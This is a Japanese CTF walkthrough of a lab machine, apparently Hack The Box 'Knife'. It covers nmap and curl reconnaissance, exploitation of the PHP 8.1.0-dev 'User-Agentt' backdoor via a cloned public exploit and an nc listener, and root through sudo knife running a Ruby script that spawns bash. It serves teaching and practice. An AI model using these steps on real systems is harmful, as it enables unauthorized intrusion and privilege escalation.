偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~] └─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.242 Starting Nmap 7.92 ( https://nmap.org ) Nmap scan report for 10.10.10.242 Host is up (0.19s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) | 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Emergent Medical Idea |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
TCP22,80が開いているようです。
ブラウザでアクセスすると以下のような画面が表示されました。
サイト内にはリンクやフォームはなく、ページのソースを見ても使用しているCMS等の情報は見つけられませんでした。また、dirb等からも情報は得られませんでした。
curlコマンドを使用してみると、PHP/8.1.0で構築されていることがわかりました。
┌──(kali㉿kali)-[~] └─$ curl -v "http://10.10.10.242" * Trying 10.10.10.242:80... * Connected to 10.10.10.242 (10.10.10.242) port 80 (#0) > GET / HTTP/1.1 > Host: 10.10.10.242 > User-Agent: curl/7.84.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Server: Apache/2.4.41 (Ubuntu) < X-Powered-By: PHP/8.1.0-dev < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: text/html; charset=UTF-8
PHP8.1.0の脆弱性を調べてみると「‘User-Agentt’ Remote Code Execution」の情報が見つかりました。
アクセス取得
上記で得られた情報をもとにアクセスを取得してみます。
exploitのダウンロード
git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce
ncで待ち受けして上記を実行するとアクセスが取得できました。
権限昇格
アクセス取得後に「sudo -l」を実行するとknifeコマンドがroot権限で実行できることがわかりました。
knifeは初めて見るコマンドだったので調べてみました。
knifeとは、Chefに含まれるコマンドラインツールです。
ChefとはアメリカのOpscode社が提供するサーバ設定管理ツールで、同様のツールにはPuppetがあるそうです。
また、コマンドはrubyで作成されているようで、「knife exec スクリプト名」のように指定するとrubyのスクリプトが実行できるようです。
スクリプトファイルはtmpディレクトリで作成しました。
echo 'exec "/bin/bash -i"' > config.rb
上記で作成したファイルを指定して、knifeコマンドを実行するとrootが取得できました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。